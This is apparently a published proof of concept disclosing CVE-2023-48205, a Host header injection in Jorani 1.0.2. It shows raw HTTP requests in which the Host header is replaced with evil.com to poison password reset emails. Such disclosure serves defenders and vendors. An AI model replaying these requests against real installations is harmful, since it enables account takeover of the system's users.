Jorani Leave Management System 1.0.2 Host Header Injection

# Exploit Title: Jorani Leave Management System v1.0.2 Host Header Attack# Date: 12/11/2023# Exploit Author: BugsBD Security Researcher (Rahad Chowdhury)# Vendor Homepage: https://jorani.org/# Software Link:https://github.com/bbalet/jorani/releases/download/v1.0.2/jorani-1.0.2.zip# Version: v1.0.2# Tested on: Windows 10, PHP version: 8.2.4, Apache/2.4.56# CVE: CVE-2023-48205Descriptions:A Host Header Injection vulnerability in Jorani Leave Management System1.0.2 may allow an attacker to spoof a particular header. This can beexploited by abusing password reset emails.Steps to Reproduce:1. Request:GET /jorani/session/login HTTP/1.1Host: 192.168.1.74Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/119.0.0.0 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Sec-GPC: 1Accept-Language: en-US,enAccept-Encoding: gzip, deflate, brCookie: csrf_cookie_jorani=6ebb2e7eeb6867e2a83f96118ca6ecb3;jorani_session=pqop598dtj85okrjvh043es6pqp1juagConnection: close2. Now change host name and check browser response. So your request datawill be:GET /jorani/session/login HTTP/1.1Host: evil.comCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/119.0.0.0 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Sec-GPC: 1Accept-Language: en-US,enAccept-Encoding: gzip, deflate, brCookie: csrf_cookie_jorani=6ebb2e7eeb6867e2a83f96118ca6ecb3;jorani_session=pqop598dtj85okrjvh043es6pqp1juagConnection: close## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48205)